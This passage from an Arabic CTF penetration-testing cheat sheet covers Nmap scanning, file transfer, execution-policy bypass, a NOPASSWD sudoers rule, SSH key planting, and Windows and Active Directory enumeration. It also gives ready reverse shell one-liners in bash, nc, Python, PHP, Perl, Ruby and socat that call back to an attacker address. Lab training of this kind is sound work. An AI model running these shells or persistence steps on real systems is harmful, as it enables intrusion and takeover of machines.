-urlcache يستخدم وظائف URL Cache و-f يجبر استبدال الملف في سيناريوهات مناسبة. هذه أداة نظام وليست Downloader مصمم أساسًا لـCTF لكنها تظهر كثيرًا في المختبرات.
#SMB Copy
copy \\<YOUR_IP>\<SHARE>\<FILE> C:\Temp\
copy ينقل الملف من UNC Path إلى المسار المحلي. يجب أن يكون Share متاحًا وأن تسمح Credentials الحالية بالوصول إليه.
18. PowerShell Essentials
#Execution Policy لجلسة جديدة
powershell -ExecutionPolicy Bypass
-ExecutionPolicy Bypass يحدد Policy للعملية الجديدة ولا يعني بالضرورة تغيير Policy النظام دائمًا. يفيد داخل المختبر عند تشغيل Scripts تدريبية محلية.
#الشكل المختصر
powershell -ep bypass
-ep اختصار مقبول لـ-ExecutionPolicy في هذا السياق. استخدام الشكل الكامل أفضل في التوثيق لأنه أوضح عند العودة للملاحظات لاحقًا.
#تغيير Policy للمستخدم الحالي
Set-ExecutionPolicy Unrestricted -Scope CurrentUser
-Scope CurrentUser يقيد التغيير على Profile المستخدم الحالي بدل الجهاز كله. افهم أثر هذا الأمر قبل استخدامه لأن تغيير Policy ليس مطلوبًا دائمًا لتشغيل كل Script.
19. Remote Management على Windows
#WinRM Test
winrs -r:<TARGET> -u:<USER> -p:<PASS> ipconfig
winrs يشغل Command عبر Windows Remote Management عندما تكون الخدمة والإعدادات والصلاحيات مناسبة. -r يحدد Remote Host و-u المستخدم و-p كلمة المرور ثم يأتي الأمر المراد تشغيله.
#تهيئة WinRM محليًا
winrm quickconfig
هذا يهيئ WinRM على الجهاز المحلي ويعدل إعدادات الخدمة والListener حسب السياق. في CTF غالبًا تستخدمه لفهم ما إذا كان WinRM متاحًا أكثر من كونه خطوة مطلوبة على الهدف.
#RDP من Windows
mstsc /v:<TARGET>
mstsc هو Remote Desktop Client المدمج. /v يحدد Server الذي تريد الاتصال به.
20. طريقة استخدام الـCheat Sheet أثناء CTF
لا تنتقل بين الأوامر عشوائيًا. استخدم تسلسلًا بسيطًا يبدأ بالاكتشاف ثم Enumeration ثم التحقق من Credentials والصلاحيات ثم اختيار المسار الأقل تعقيدًا.
#عند بداية الجهاز
1. Nmap لكل المنافذ
2. Service Enumeration للمنافذ المفتوحة
3. DNS وHostnames
4. Web أو SMB أو AD حسب الخدمات
5. حفظ النتائج قبل الانتقال للمرحلة التالية
#بعد الحصول على Linux Shell
1. ثبّت الـShell أو حولها إلى TTY
2. اعرف المستخدم والمجموعات
3. افحص sudo وSUID وcron وservices والملفات القابلة للكتابة
4. افحص الشبكة والـroutes والـhosts
5. انقل الأدوات فقط إذا كانت ستضيف قيمة واضحة
#بعد الحصول على Windows Shell
1. whoami /priv وwhoami /groups
2. systeminfo وipconfig /all
3. users وgroups
4. services وscheduled tasks
5. icacls على الملفات المهمة
6. registry وsaved credentials
7. domain وtrusts وshares إذا كان الجهاز Domain Joined
#عند الدخول إلى Active Directory
1. اعرف الدومين والـDC وDNS
2. تحقق من Credentials الحالية
3. اجمع معلومات Users وGroups وComputers وShares
4. استخدم BloodHound عندما تصبح العلاقات كثيرة
5. راجع المسارات الممكنة بدل مطاردة كل Finding منفردًا
21. Quick Reference عملي لكل الأوامر
هذا القسم ليس مجرد قائمة نسخ ولصق. كل أمر تحته متى تستخدمه وأين تستخدمه ومثال يوضح لماذا قد تحتاجه أثناء حل تحدي CTF.
#Nmap
#فحص جميع منافذ TCP
nmap -p- --min-rate=1000 -Pn -T4 <TARGET_IP>
متى تستخدمه: في بداية التحدي عندما تريد معرفة كل منافذ TCP المفتوحة بدل الاكتفاء بالمنافذ الشائعة.
أين تستخدمه: على جهازك المهاجم مثل Kali أو Parrot ضد عنوان الجهاز الموجود داخل شبكة المختبر.
مثال استخدام: لديك هدف بعنوان 10.10.11.25 ولا تعرف الخدمات الموجودة عليه. تبدأ بفحص كامل حتى لا تفوت خدمة تعمل على منفذ غير معتاد.
nmap -p- --min-rate=1000 -Pn -T4 10.10.11.25
#فحص الخدمات والنسخ على منافذ مكتشفة
nmap -p<PORTS> -Pn -sC -sV <TARGET_IP>
متى تستخدمه: بعد معرفة المنافذ المفتوحة وتريد معرفة اسم الخدمة وإصدارها وتشغيل NSE Scripts الافتراضية عليها.
أين تستخدمه: من جهازك المهاجم بعد انتهاء الفحص الأولي.
مثال استخدام: اكتشفت المنافذ 22 و80 و445 وتريد تفاصيل كل خدمة بدل إعادة فحص كل المنافذ.
nmap -p22,80,445 -Pn -sC -sV 10.10.11.25
#فحص Nmap مع Verbose وحفظ النتائج
nmap -vv -oA scan <TARGET_IP>
متى تستخدمه: عندما تريد رؤية النتائج أثناء الفحص وحفظها بصيغ متعددة للرجوع إليها لاحقًا.
أين تستخدمه: على جهازك داخل مجلد خاص بالتحدي حتى تبقى ملفات الفحص مع بقية ملاحظاتك.
مثال استخدام: بدأت Machine جديدة وتريد حفظ Baseline Scan باسم scan قبل تنفيذ أي Enumeration إضافي.
nmap -vv -oA scan 10.10.11.25
#فحص منافذ محددة
nmap -p 80,443,8080 <TARGET_IP>
متى تستخدمه: عندما تعرف أن الهدف يقدم Web Services أو تريد إعادة فحص مجموعة منافذ محددة بسرعة.
أين تستخدمه: من جهازك المهاجم ضد Host واحد أو أكثر داخل المختبر.
مثال استخدام: بعد إضافة Hostname جديد إلى /etc/hosts تريد التأكد من أن منافذ الويب ما زالت متاحة.
nmap -p 80,443,8080 10.10.11.25
#فحص Range من المنافذ
nmap -p 1-1000 <TARGET_IP>
متى تستخدمه: عندما تريد حصر الفحص في Range معين بدل كل 65535 منفذًا.
أين تستخدمه: على جهازك المهاجم أثناء Reconnaissance سريع أو عند اختبار Segment محدد من المنافذ.
مثال استخدام: تريد فقط مراجعة المنافذ المنخفضة المعروفة على جهاز داخل المختبر.
nmap -p 1-1000 10.10.11.25
#تشغيل NSE Script محدد
nmap --script=http-enum -p 80,443 <TARGET_IP>
متى تستخدمه: عندما تكون خدمة HTTP أو HTTPS مفتوحة وتريد البحث عن مسارات وموارد ويب شائعة.
أين تستخدمه: من جهازك المهاجم بعد التأكد من أن المنافذ المستهدفة تقدم HTTP فعليًا.
مثال استخدام: Nmap أظهر Apache على المنفذ 80 وتريد بداية سريعة لاكتشاف مجلدات معروفة.
nmap --script=http-enum -p 80 10.10.11.25
#تشغيل Scripts من فئة vuln
nmap --script=vuln <TARGET_IP>
متى تستخدمه: بعد مرحلة Service Enumeration عندما تريد مؤشرات إضافية على Misconfigurations أو ثغرات معروفة.
أين تستخدمه: على جهازك المهاجم داخل مختبر CTF. لا تعتبر أي نتيجة إثباتًا نهائيًا قبل التحقق منها.
مثال استخدام: عرفت إصدارات الخدمات وتريد أن ترى هل لدى NSE Checks مناسبة لها قبل الانتقال للاختبار اليدوي.
nmap --script=vuln 10.10.11.25
#Linux وHostnames
#إضافة Hostname إلى /etc/hosts
echo "<TARGET_IP> <HOSTNAME>" | sudo tee -a /etc/hosts
متى تستخدمه: عندما يعطيك التطبيق اسم Domain أو Virtual Host داخلي لا يستطيع DNS عندك حله تلقائيًا.
أين تستخدمه: على جهازك المهاجم وليس على الهدف في أغلب سيناريوهات CTF.
مثال استخدام: الموقع يعيد توجيهك إلى internal.lab.local بينما DNS لا يعرف الاسم.
echo "10.10.11.25 internal.lab.local" | sudo tee -a /etc/hosts
#التحقق من Entry داخل /etc/hosts
cat /etc/hosts | grep internal
متى تستخدمه: بعد إضافة Hostname وتريد التأكد من أن السطر كتب بالشكل الصحيح.
أين تستخدمه: على نفس الجهاز الذي عدلت فيه /etc/hosts.
مثال استخدام: أضفت internal.lab.local وتريد التحقق بسرعة من وجوده من دون قراءة الملف كاملًا.
cat /etc/hosts | grep internal.lab.local
#Linux Password Hashes والمستخدمون
#توليد SHA-512 crypt Hash
openssl passwd -6 "YourPasswordHere"
متى تستخدمه: عندما يحتاج المختبر Password Hash بصيغة Linux بدل كلمة مرور Plaintext.
أين تستخدمه: على Linux لديه OpenSSL. قد يكون جهازك أو جهاز مختبر تملك عليه الصلاحية المناسبة.
مثال استخدام: لديك مهمة تدريبية تتطلب إنشاء Hash تجريبي لكلمة مرور قبل إضافتها إلى Account محلي.
openssl passwd -6 "LabPass123"
#إنشاء متغير يحتوي Password Hash
HASH=$(openssl passwd -6 "SecurePass123")
متى تستخدمه: عندما ستعيد استخدام الـHash مباشرة في أمر آخر ولا تريد نسخه يدويًا.
أين تستخدمه: داخل Bash على Linux.
مثال استخدام: تريد إنشاء مستخدم مختبري ثم تمرير Hash الناتج إلى useradd في الخطوة التالية.
HASH=$(openssl passwd -6 "SecurePass123")
#إنشاء مستخدم محلي
useradd -m -p "$HASH" -s /bin/bash ctfuser
متى تستخدمه: داخل مختبر تملك فيه Root عندما تكون المهمة متعلقة بإنشاء حساب محلي أو اختبار إعدادات Authentication.
أين تستخدمه: على Linux بصلاحيات تسمح بإنشاء المستخدمين.
مثال استخدام: أنشأت Hash تجريبيًا وتريد حسابًا باسم ctfuser مع Home Directory وBash Shell.
sudo useradd -m -p "$HASH" -s /bin/bash ctfuser
#إضافة Rule إلى sudoers
echo "ctfuser ALL=(ALL) NOPASSWD:ALL" | sudo tee -a /etc/sudoers
متى تستخدمه: فقط في مختبر إداري أو CTF يتطلب تعديل sudoers عمدًا. لا تستخدمه كخطوة Enumeration.
أين تستخدمه: على Linux بصلاحية Root أو sudo.
مثال استخدام: Lab خاص بإدارة Linux يطلب منح مستخدم تجريبي صلاحية sudo بدون Password لاختبار أثر Misconfiguration.
echo "ctfuser ALL=(ALL) NOPASSWD:ALL" | sudo tee -a /etc/sudoers
#SSH Keys
#إنشاء مجلد .ssh
mkdir -p ~/.ssh
متى تستخدمه: عندما تحتاج إعداد SSH للمستخدم الحالي ولم يكن مجلد .ssh موجودًا.
أين تستخدمه: داخل Home Directory للمستخدم على Linux.
مثال استخدام: تريد إضافة Public Key لحساب مختبري وتحتاج تجهيز المجلد أولًا.
mkdir -p ~/.ssh
#إضافة Public Key
echo "YOUR_PUBLIC_KEY" >> ~/.ssh/authorized_keys
متى تستخدمه: عندما تكون مصرحًا بإعداد Key Based Authentication للحساب داخل المختبر.
أين تستخدمه: على حساب Linux الذي تريد تسجيل الدخول إليه عبر SSH.
مثال استخدام: تملك Shell على حسابك في Lab وتريد استخدام SSH بدل Shell محدودة في المرات التالية.
echo "ssh-ed25519 AAAA... lab-key" >> ~/.ssh/authorized_keys
#ضبط صلاحيات SSH
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys
متى تستخدمه: بعد إنشاء .ssh وauthorized_keys حتى يقبل OpenSSH الملفات ولا يرفضها بسبب Permissions واسعة.
أين تستخدمه: على Linux داخل Home Directory للحساب نفسه.
مثال استخدام: أضفت المفتاح لكن SSH لا يقبله بسبب Permissions غير مناسبة.
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys
#Cron وWritable Paths
#عرض Cron Jobs للمستخدم الحالي
crontab -l
متى تستخدمه: بعد الحصول على Linux Shell أثناء Privilege Escalation Enumeration.
أين تستخدمه: على الهدف Linux بالحساب الحالي.
مثال استخدام: تريد معرفة هل المستخدم يملك Job دوري يشغل Script يمكن تحليله أو تعديله داخل التحدي.
crontab -l
#قراءة System Crontab
cat /etc/crontab
متى تستخدمه: عندما تبحث عن System Jobs تعمل بمستخدمين مختلفين أو بصلاحية أعلى.
أين تستخدمه: على Linux إذا كانت صلاحيات القراءة تسمح بذلك.
مثال استخدام: تبحث عن Script يعمل كل دقيقة كـroot وتريد معرفة مساره والمستخدم الذي ينفذه.
cat /etc/crontab
#فحص صلاحيات مسارات مؤقتة
ls -ld /tmp /var/tmp /dev/shm
متى تستخدمه: عندما تحتاج مكانًا مؤقتًا للكتابة أو تشغيل أدوات داخل Linux CTF.
أين تستخدمه: على الجهاز الهدف بعد الحصول على Shell.
مثال استخدام: تحتاج تنزيل Enumeration Script لكن Home Directory غير قابل للكتابة.
ls -ld /tmp /var/tmp /dev/shm
#نقل الملفات على Linux
#تنزيل ملف باستخدام wget
wget http://<YOUR_IP>/<FILE> -O /tmp/<FILE>
متى تستخدمه: عندما يكون wget موجودًا على الهدف وتريد تنزيل أداة أو ملف من HTTP Server عندك.
أين تستخدمه: على الجهاز الهدف. يجب أن يكون جهازك المهاجم يقدم الملف وقابلًا للوصول عبر الشبكة.
مثال استخدام: لديك linpeas.sh داخل HTTP Server على 10.10.14.5:8000.
wget http://10.10.14.5:8000/linpeas.sh -O /tmp/linpeas.sh
#تنزيل ملف باستخدام curl
curl http://<YOUR_IP>/<FILE> -o /tmp/<FILE>
متى تستخدمه: كبديل لـwget عندما يكون curl متاحًا أو عندما تفضل التحكم بطلب HTTP عبر curl.
أين تستخدمه: على Linux الهدف أو أي Host يستطيع الوصول إلى HTTP Server.
مثال استخدام: تريد تنزيل ملف باسم enum.sh إلى /tmp.
curl http://10.10.14.5:8000/enum.sh -o /tmp/enum.sh
#Python HTTP Server
#تشغيل HTTP Server
python3 -m http.server 8000
متى تستخدمه: عندما تريد مشاركة ملفات بسرعة من المجلد الحالي بدون إعداد Apache أو Nginx.
أين تستخدمه: غالبًا على جهازك المهاجم داخل المجلد الذي يحتوي الأدوات المطلوبة.
مثال استخدام: ملفاتك داخل ~/ctf/tools وتريد أن يسحب الهدف منها ملفًا.
cd ~/ctf/tools && python3 -m http.server 8000
#Bind على Interface محدد
python3 -m http.server 8000 --bind <YOUR_IP>
متى تستخدمه: عندما يملك جهازك أكثر من Interface وتريد أن يستمع السيرفر فقط على عنوان VPN الخاص بالـCTF.
أين تستخدمه: على جهازك المهاجم.
مثال استخدام: عنوان tun0 عندك هو 10.10.14.5.
python3 -m http.server 8000 --bind 10.10.14.5
#Python Utilities
#معرفة إصدار Python
python --version
python3 --version
متى تستخدمه: قبل تشغيل أي Python One-liner حتى تعرف أي Interpreter متاح.
أين تستخدمه: على الهدف أو جهازك حسب المكان الذي ستنفذ فيه الكود.
مثال استخدام: حصلت على Linux Shell وتريد استخدام pty.spawn لكنك لا تعرف هل Python 3 مثبت.
python3 --version
#Base64 Encode
python3 -c 'import base64; print(base64.b64encode(b"string").decode())'
متى تستخدمه: عندما تحتاج تحويل نص إلى Base64 داخل المختبر لتسهيل نقله أو إدخاله في Parameter.
أين تستخدمه: على أي جهاز لديه Python 3.
مثال استخدام: تريد ترميز النص CTF-LAB قبل تمريره إلى تطبيق تدريبي.
python3 -c 'import base64; print(base64.b64encode(b"CTF-LAB").decode())'
#Base64 Decode
python3 -c 'import base64; print(base64.b64decode("encoded_string").decode())'
متى تستخدمه: عندما تجد قيمة Base64 وتريد معرفة النص الأصلي إن كانت البيانات Text.
أين تستخدمه: على جهازك أثناء تحليل Config أو Output من التحدي.
مثال استخدام: وجدت Q1RGLUxBQg== داخل ملف Configuration.
python3 -c 'import base64; print(base64.b64decode("Q1RGLUxBQg==").decode())'
#تنزيل ملف باستخدام urllib
python3 -c 'import urllib.request; urllib.request.urlretrieve("http://<YOUR_IP>/<FILE>", "/tmp/<FILE>")'
متى تستخدمه: عندما لا يتوفر wget أو curl لكن Python 3 موجود.
أين تستخدمه: على Linux الهدف الذي يستطيع الوصول إلى HTTP Server عندك.
مثال استخدام: تريد تنزيل tool.sh من جهازك إلى /tmp.
python3 -c 'import urllib.request; urllib.request.urlretrieve("http://10.10.14.5:8000/tool.sh", "/tmp/tool.sh")'
#تشغيل FTP Server باستخدام pyftpdlib
python3 -m pyftpdlib -p 2121 -w
متى تستخدمه: عندما تحتاج FTP سريعًا داخل Lab وتعرف أن pyftpdlib مثبت.
أين تستخدمه: على الجهاز الذي سيقدم الملفات أو يستقبلها حسب سيناريو النقل.
مثال استخدام: تريد مشاركة مجلد مع جهاز Windows قديم داخل المختبر يدعم FTP بسهولة.
python3 -m pyftpdlib -p 2121 -w
#Reverse Shell Listeners
#Netcat Listener
nc -lvnp <PORT>
متى تستخدمه: قبل تشغيل Reverse Shell على الهدف حتى يكون هناك Listener يستقبل الاتصال.
أين تستخدمه: على جهازك المهاجم.
مثال استخدام: الـPayload مضبوط ليتصل بجهازك على المنفذ 4444.
nc -lvnp 4444
#Netcat Listener مع rlwrap
rlwrap nc -lvnp <PORT>
متى تستخدمه: عندما تريد History وأسهم وتحكم أفضل من Netcat العادي.
أين تستخدمه: على جهازك المهاجم إذا كان rlwrap مثبتًا.
مثال استخدام: تتوقع Shell بسيطة وتريد جعل التعامل معها أريح من البداية.
rlwrap nc -lvnp 4444
#Bash Reverse Shells
#Bash عبر /dev/tcp
bash -i >& /dev/tcp/<YOUR_IP>/<PORT> 0>&1
متى تستخدمه: داخل Linux CTF عندما تستطيع تنفيذ Bash Commands على الهدف وتحتاج اتصالًا راجعًا.
أين تستخدمه: على الهدف بعد تشغيل Listener على جهازك.
مثال استخدام: جهازك على 10.10.14.5 ويستمع على 4444.
bash -i >& /dev/tcp/10.10.14.5/4444 0>&1
#Bash داخل bash -c
bash -c 'bash -i >& /dev/tcp/<YOUR_IP>/<PORT> 0>&1'
متى تستخدمه: عندما يكون مكان التنفيذ يقبل Command String واحدة أو تحتاج تغليف Redirects داخل Bash جديد.
أين تستخدمه: على Linux الهدف داخل Command Execution أو Shell محدودة في بيئة CTF.
مثال استخدام: Web Command Injection يشغل قيمة Parameter عبر Shell وتريد Payload في سطر واحد.
bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'
#Netcat Reverse Shell
#Netcat باستخدام -e
nc <YOUR_IP> <PORT> -e /bin/bash
متى تستخدمه: عندما يكون إصدار Netcat على الهدف يدعم -e.
أين تستخدمه: على Linux الهدف بعد تشغيل Listener عندك.
مثال استخدام: تحققت من نسخة Netcat في المختبر ووجدت أن -e متاح.
nc 10.10.14.5 4444 -e /bin/bash
#Netcat بدون -e
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc <YOUR_IP> <PORT> > /tmp/f
متى تستخدمه: عندما يكون Netcat متاحًا لكنه لا يدعم -e.
أين تستخدمه: على Linux الهدف داخل مختبر CTF.
مثال استخدام: تريد Reverse Shell عبر nc الموجود على الهدف من دون خيار Execute.
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.10.14.5 4444 > /tmp/f
#Python Reverse Shell
python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<YOUR_IP>",<PORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'
متى تستخدمه: عندما يكون Python 3 موجودًا على Linux الهدف وتحتاج Reverse Shell مع PTY مبدئية.
أين تستخدمه: على الهدف بعد بدء Listener عندك.
مثال استخدام: لا يعمل /dev/tcp في الـShell الحالية لكن Python 3 متاح.
python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'
#PHP Reverse Shell
php -r '$sock=fsockopen("<YOUR_IP>",<PORT>);exec("/bin/bash -i <&3 >&3 2>&3");'
متى تستخدمه: عندما يكون PHP CLI متاحًا على Linux الهدف ويمكنك تنفيذ Commands.
أين تستخدمه: على الهدف بعد تشغيل Listener عندك.
مثال استخدام: Web Server يعمل بـPHP ووجدت أن php متاح من CLI أيضًا.
php -r '$sock=fsockopen("10.10.14.5",4444);exec("/bin/bash -i <&3 >&3 2>&3");'
#Perl Reverse Shell
perl -e 'use Socket;$i="<YOUR_IP>";$p=<PORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
متى تستخدمه: عندما لا تتوفر Bash /dev/tcp أو Python لكن Perl مثبت.
أين تستخدمه: على Linux أو Unix الهدف في بيئة التدريب.
مثال استخدام: which perl يعيد مسارًا بينما Python غير موجود.
perl -e 'use Socket;$i="10.10.14.5";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
#Ruby Reverse Shell
ruby -rsocket -e 'f=TCPSocket.open("<YOUR_IP>",<PORT>).to_i;exec sprintf("/bin/bash -i <&%d >&%d 2>&%d",f,f,f)'
متى تستخدمه: عندما Ruby متاح على الهدف وتحتاج بديلًا عن Bash أو Python.
أين تستخدمه: على Linux الهدف داخل CTF.
مثال استخدام: التطبيق Ruby وتأكدت أن Interpreter مثبت على النظام.
ruby -rsocket -e 'f=TCPSocket.open("10.10.14.5",4444).to_i;exec sprintf("/bin/bash -i <&%d >&%d 2>&%d",f,f,f)'
#Socat Reverse Shell
socat tcp:<YOUR_IP>:<PORT> exec:'bash -li',pty,stderr,setsid,sigint,sane
متى تستخدمه: عندما Socat موجود على الهدف وتريد Shell أكثر استقرارًا مع PTY Options من البداية.
أين تستخدمه: على Linux الهدف مع Socat Listener على جهازك.
مثال استخدام: تريد Terminal أفضل من Netcat لأن التحدي يحتاج su أو محررًا تفاعليًا.
socat tcp:10.10.14.5:4444 exec:'bash -li',pty,stderr,setsid,sigint,sane
#Socat Listener
socat file:`tty`,raw,echo=0 tcp-listen:<PORT>
متى تستخدمه: عندما سيكون الطرف الآخر Socat وتريد الاستفادة من خصائص TTY بشكل أفضل.
أين تستخدمه: على جهازك المهاجم.
مثال استخدام: الـPayload السابق سيتصل بالمنفذ 4444.
socat file:`tty`,raw,echo=0 tcp-listen:4444
#TTY Upgrade
#ترقية Shell باستخدام script
script /dev/null -c bash
متى تستخدمه: مباشرة بعد الحصول على Shell محدودة إذا كان script موجودًا.
أين تستخدمه: داخل Shell الموجودة على Linux الهدف.
مثال استخدام: الأسهم وTab لا تعمل وsu يرفض العمل بصورة طبيعية.
script /dev/null -c bash
#بديل script
script -qc /bin/bash /dev/null
متى تستخدمه: عندما تريد نفس فكرة PTY مع Output أقل من script.
أين تستخدمه: على Linux الهدف.
مثال استخدام: Shell الحالية تطبع Messages من script وتريد Session أنظف.
script -qc /bin/bash /dev/null
#Python PTY
python3 -c 'import pty;pty.spawn("/bin/bash")'
متى تستخدمه: عندما Python 3 موجود وscript غير متاح أو تفضل pty.spawn.
أين تستخدمه: داخل Reverse Shell على Linux الهدف.
مثال استخدام: حصلت على /bin/sh محدود وتريد Bash داخل PTY.
python3 -c 'import pty;pty.spawn("/bin/bash")'
#تحويل Terminal المحلي إلى Raw ثم إعادة Shell
stty raw -echo; fg
متى تستخدمه: بعد Ctrl+Z أثناء Full TTY Upgrade.
أين تستخدمه: على Terminal جهازك المهاجم وليس داخل الهدف مباشرة.
مثال استخدام: شغلت pty.spawn ثم أرسلت الجلسة للخلفية وتريد أن تمر مفاتيح التحكم بشكل صحيح.
stty raw -echo; fg
#إعادة تهيئة الطرفية
reset
متى تستخدمه: بعد إعادة Reverse Shell إلى Foreground إذا أصبحت الطرفية مشوهة أو لا تعرض Prompt طبيعيًا.
أين تستخدمه: داخل Shell الهدف بعد رجوع الاتصال.
مثال استخدام: الأحرف لا تظهر أو Line Breaks غير طبيعية بعد stty raw -echo.
reset
#تحديد نوع Terminal
export TERM=xterm-256color
متى تستخدمه: عندما تحتاج برامج مثل vim أو less أو clear إلى TERM صحيح.
أين تستخدمه: داخل Shell Linux الهدف.
مثال استخدام: clear يعطي خطأ أن نوع Terminal غير معروف.
export TERM=xterm-256color
#ضبط حجم Terminal
stty rows 38 columns 116
متى تستخدمه: عندما برامج TUI أو المحررات تنكسر بسبب حجم Terminal غير صحيح.
أين تستخدمه: داخل Shell الهدف بعد ترقية TTY.
مثال استخدام: vim يرسم الشاشة بشكل غير صحيح لأن Rows وColumns لا تطابق Terminal عندك.
stty rows 38 columns 116
#معرفة الأدوات المتاحة
which python python3 perl ruby lua script socat
متى تستخدمه: قبل اختيار طريقة Reverse Shell أو TTY Upgrade.
أين تستخدمه: على Linux الهدف.
مثال استخدام: بدل تجربة خمس Payloads عشوائية تريد معرفة الأدوات الموجودة أولًا.
which python python3 perl ruby lua script socat
#Windows Identity
#معرفة المستخدم الحالي
whoami
متى تستخدمه: أول أمر تقريبًا بعد الحصول على CMD أو PowerShell على Windows.
أين تستخدمه: على Windows الهدف.
مثال استخدام: دخلت عبر WinRM وتريد التأكد من الحساب الذي تعمل به قبل أي Enumeration.
whoami
#عرض Privileges
whoami /priv
متى تستخدمه: في بداية Windows Privilege Escalation Enumeration.
أين تستخدمه: على Windows الهدف.
مثال استخدام: تريد معرفة هل Token يحتوي Privilege مهم يستحق التحليل داخل التحدي.
whoami /priv
#عرض Groups
whoami /groups
متى تستخدمه: عندما تريد معرفة Local وDomain Groups المؤثرة في صلاحيات الحساب.
أين تستخدمه: على Windows الهدف.
مثال استخدام: تريد التأكد هل المستخدم عضو في مجموعة لها صلاحيات إدارية أو Remote Management.
whoami /groups
#Windows System Information
#معلومات النظام
systeminfo
متى تستخدمه: في بداية Enumeration لمعرفة إصدار Windows والـBuild والـHotfixes والدومين.
أين تستخدمه: على Windows الهدف.
مثال استخدام: تريد تحديد هل الجهاز Server أو Workstation وتوثيق Build قبل متابعة PrivEsc.
systeminfo
#إصدار Windows المختصر
ver
متى تستخدمه: عندما تريد Version سريع من CMD بدون Output طويل.
أين تستخدمه: على Windows الهدف.
مثال استخدام: Shell بطيئة وتريد تأكيد إصدار Windows بصورة مختصرة.
ver
#اسم الجهاز
hostname
متى تستخدمه: عندما تريد ربط الـShell الحالية باسم Computer في بيئة متعددة الأجهزة.
أين تستخدمه: على Windows أو Linux الهدف.
مثال استخدام: لديك عدة RDP وWinRM Sessions وتحتاج معرفة أي Host تعمل عليه الآن.
hostname
#Environment Variables
set
متى تستخدمه: عندما تبحث عن Paths وTEMP وUSERPROFILE ومتغيرات تطبيق قد تكشف Context مفيدًا.
أين تستخدمه: داخل CMD على Windows.
مثال استخدام: تريد معرفة %TEMP% و%USERPROFILE% قبل نقل ملفات أو البحث في Home Directory.
set
#Windows Users and Groups
#عرض المستخدمين المحليين
net user
متى تستخدمه: عندما تريد قائمة الحسابات المحلية على الجهاز.
أين تستخدمه: Windows الهدف.
مثال استخدام: تبحث عن Service Accounts أو حسابات غير معتادة يمكن أن تكون جزءًا من مسار التحدي.
net user
#تفاصيل مستخدم
net user <USER>
متى تستخدمه: بعد العثور على حساب يهمك وتريد معرفة خصائصه ومجموعاته المحلية.
أين تستخدمه: Windows الهدف.
مثال استخدام: ظهر حساب svc_backup وتريد معرفة تفاصيله.
net user svc_backup
#عرض Local Groups
net localgroup
متى تستخدمه: لمعرفة المجموعات المحلية الموجودة على الجهاز.
أين تستخدمه: Windows الهدف.
مثال استخدام: تريد معرفة هل توجد مجموعة خاصة بتطبيق أو Remote Management.
net localgroup
#أعضاء Administrators
net localgroup Administrators
متى تستخدمه: لمعرفة الحسابات والمجموعات التي تملك Local Admin على الجهاز.
أين تستخدمه: Windows الهدف.
مثال استخدام: تريد معرفة أي Domain Group يمنح Admin محليًا على الجهاز الحالي.
net localgroup Administrators
#مستخدمو الدومين
net user /domain
متى تستخدمه: عندما يكون الجهاز Domain Joined وتريد Enumeration أولي للحسابات.
أين تستخدمه: Windows الهدف ضمن Context يستطيع الاستعلام من الدومين.
مثال استخدام: عرفت اسم الدومين وتريد رؤية أسماء الحسابات قبل استخدام أدوات AD إضافية.
net user /domain
#Domain Admins
net group "Domain Admins" /domain
متى تستخدمه: عندما تريد معرفة أعضاء مجموعة Domain Admins في مختبر AD.
أين تستخدمه: Windows Domain Joined مع إمكانية الاستعلام عن الدومين.
مثال استخدام: BloodHound أظهر User Path نحو Domain Admin وتريد معرفة أسماء الأعضاء يدويًا.
net group "Domain Admins" /domain
#Windows Network
#IP Configuration
ipconfig /all
متى تستخدمه: في بداية Enumeration لفهم Interfaces وDNS وGateway وDomain Suffix.
أين تستخدمه: Windows الهدف.
مثال استخدام: تريد معرفة DNS Server الداخلي الذي قد يكون Domain Controller.
ipconfig /all
#الاتصالات والمنافذ
netstat -ano
متى تستخدمه: عندما تريد رؤية Listening Ports والاتصالات الحالية وربطها بالـPID.
أين تستخدمه: Windows الهدف.
مثال استخدام: Service لا تظهر من الخارج لكنك تشك أنها تستمع على 127.0.0.1 فقط.
netstat -ano
#Routing Table
route print
متى تستخدمه: عندما تبحث عن شبكات داخلية إضافية أو احتمالات Pivoting.
أين تستخدمه: Windows الهدف.
مثال استخدام: الجهاز يملك Interface ثانية وقد يوصلك إلى Subnet غير قابلة للوصول من جهازك مباشرة.
route print
#ARP Cache
arp -a
متى تستخدمه: عندما تريد أجهزة Layer 2 التي تواصل معها الهدف مؤخرًا.
أين تستخدمه: Windows الهدف.
مثال استخدام: تبحث عن IPs داخلية مجاورة قبل توسيع Network Enumeration.
arp -a
#DNS Cache
ipconfig /displaydns
متى تستخدمه: عندما تبحث عن Hostnames داخلية استخدمها الجهاز مؤخرًا.
أين تستخدمه: Windows الهدف.
مثال استخدام: تريد اكتشاف اسم Intranet أو API داخلي لم يظهر في Nmap.
ipconfig /displaydns
#Shares محلية
net share
متى تستخدمه: لمعرفة الملفات والمجلدات التي يشاركها الجهاز عبر SMB.
أين تستخدمه: Windows الهدف.
مثال استخدام: تريد معرفة هل هناك Share تطبيق غير C$ وADMIN$.
net share
#Windows ACLs
#فحص Permissions
icacls <PATH>
متى تستخدمه: عندما تجد ملفًا أو مجلدًا حساسًا وتريد معرفة من يستطيع تعديله.
أين تستخدمه: Windows الهدف.
مثال استخدام: وجدت Script تشغله Scheduled Task وتريد معرفة هل حسابك يملك Modify عليه.
icacls C:\Tasks\backup.ps1
#فحص Service Binary
